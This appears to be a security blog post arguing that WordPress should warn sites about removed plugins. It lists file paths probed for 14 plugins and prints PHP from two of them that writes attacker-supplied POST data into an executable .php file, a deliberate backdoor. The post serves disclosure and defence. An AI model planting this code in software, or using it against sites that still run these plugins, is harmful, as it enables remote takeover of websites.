We think that WordPress does a pretty good job when it comes to security, but there is a glaring problem we have run across, the handling of unfixed vulnerabilities in WordPress plugins. When a vulnerability in a plugin is reported to the Plugin Directory, unless it is very minor, the plugin is pulled pending a fix. That prevents anyone who isn’t already using the plugin from installing it and making themselves vulnerable, but for everyone that already has it installed they will remain vulnerable until the vulnerability is fixed. A lot of times that happens fairly quickly after the plugin is removed, but in other cases it takes a long time or never happens. For that reason we first suggested that websites that have removed plugins installed should alert over four and half years ago. At the time we proposed this on the Ideas section of wordpress.org and shortly there after it was indicated this was being worked on. By earlier this year it was indicated that they cannot provide this, not for some technical reason, but because “IF an exploit exists and we publicize that fact without a patch, we put you MORE at risk.”. We previously discussed that this really doesn’t make sense and we just ran in to another example that we think provides further evidence why this is bad stance.
Part of the explanation for their thinking that this would put websites at more risk is this:
That’s exactly the issue. If we make it known there is an exploit, the hackers attack everyone :/
If we don’t tell anyone, then hackers who DO know will attack, but they would have anyway.
But as what we found while looking into a set of vulnerable plugins, other malicious actors can find out about vulnerabilities and then try to exploit them even without them doing that.
One of the ways we keep track of vulnerabilities in WordPress plugins is to monitor third-party data on hacking attempts. Through that we recently ran across a probe in August of last year for usage of a series of 14 plugins through request for the following files (the name of the plugin it is part of is in parenthesis):
- /wp-content/plugins/return-to-top/wds-files/js/admin.js (Return to top)
- /wp-content/plugins/page-google-maps/js/vihv-google-maps.js (Page Google Map)
- /wp-content/plugins/gallery-slider/assets/js/jquery.gallery.js (Gallery Slider)
- /wp-content/plugins/g-translate/jquery.js (G Translate)
- /wp-content/plugins/share-buttons-wp/css/style.css (Share Buttons WP)
- /wp-content/plugins/mailchimp-integration/readme.txt (MailChimp Integration)
- /wp-content/plugins/smart-videos/js/video.js (Smart Videos)
- /wp-content/plugins/seo-rotator-for-images/js/wp-seo-admin-global.js (SEO Rotator For Images)
- /wp-content/plugins/ads-widget/readme.txt (Ads widget)
- /wp-content/plugins/seo-keyword-page/js/pager.js (SEO Keyword Page)
- /wp-content/plugins/wp-handy-lightbox/jquery.touchwipe.min.js (Handy Lightbox)
- /wp-content/plugins/wp-popup/wppopupincludes/js/wppopup.js (WP Popup)
- /wp-content/plugins/google-analytics-analyze/google-analytics.js (Google Analytics Analyze)
- /wp-content/plugins/cookie-eu/readme.txt (Cookie Eu)
In taking a look at the first plugin Return to top, we found that it was no longer in the Plugin Directory and we couldn’t find any indication that a vulnerability in the plugin had been disclosed. Then while trying to figure out what hacker might be looking to exploit in this, we quickly noticed the file call.php, which contained the following code:
2 3 4 5 6 7 8 9 10
session_start(); $installtheplugin = $_POST['installplugin']; $fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/install.php', 'w'); $installtheplugin = str_replace('\\', '', $installtheplugin); $installtheplugin = htmlentities($installtheplugin); fwrite($fp, html_entity_decode($installtheplugin)); fclose($fp); echo $installtheplugin; unlink($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/call.html');
That code would take a user specified value and write it in to the file /wp-content/plugins/return-to-top/install.php. Since that file has a .php extension that would permit running PHP code, which is a remote code execution vulnerability. The code didn’t really look like it had a legitimate purpose, possibly indicating that the code was intentionally malicious.
The second plugin listed, Page Google Map, created by a different account had nearly the same code in a file name pr.php:
2 3 4 5 6 7 8 9
session_start(); $installtheplugin = $_POST['checkpr']; $fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/prcheck.php', 'w'); $installtheplugin = str_replace('\\', '', $installtheplugin); $installtheplugin = htmlentities($installtheplugin); fwrite($fp, html_entity_decode($installtheplugin)); fclose($fp); echo $installtheplugin;
Going through some more of the plugins, we found that the developers were also different but the same code existed. We then went looking to see if we could find any reference to the code, to look if there was a possibility that the developers had all gotten the code from the same source and not understood the security issue in it.
We could only find one reference to it and that a post from January of 2014 discussing security issues in one of the plugins, Handy Lightbox. In addition to the remote code execution issue, the plugin also was “e-mailing the developer to confirm plugin activation and reporting site url.” and emailing if it was deactivated. From that we found another post that pointed to what the malicious code had been used for:
It would log the IP of the admins. When you went to the site, it would check to see if you where an admin with your ip, then if you where not it would add a spam link on all pages.
From the comments in the first post it sounds like the Handy Lightbox was removed from the Plugin Directory in February of 2014.
Based on on all off that looks like is that you had someone that had created multiple intentionally malicious plugins (the legitimate parts of the plugins was copied from an existing plugin). Since the original person behind this was being emailed what websites the plugins were activated on they would have not needed to probe for usage of the plugins, as we saw happening. So it would seem that someone else became aware of not only of the Handy Lightbox plugin, but the other plugins that had been created and was trying to exploit them (we looked to see if several others had been been publicly disclosed as containing this code, but couldn’t find any evidence of that).
Seeing as the developer of the plugins had malicious intentions, they wouldn’t have released new versions of the plugins that fixed the vulnerabilities, so unless the Plugin Directory stepped in and did that, then the plugins would never be fixed. In that case the only way to protect the websites would be for the plugins to be removed, but since webmasters are being kept in the dark they wouldn’t know to do that. Not surprisingly a quick search showed that there are in fact website that still have these plugins installed. The probing for existence of the plugins indicates that not notifying people that they were vulnerable did not stop other malicious actors from finding out about of these vulnerabilities.
An easy way to check if you have any of these plugins installed on websites you manage is to install our Plugin Vulnerabilities plugin. For plugins that we see exploitation attempts against we include data on the related vulnerabilities with the plugin, so even if you are not yet using the service you get warned about these vulnerabilities. Since these plugins are being targeted, as can be seen by the probing, we are adding the remote code execution vulnerability in them to the data alongside releasing this post.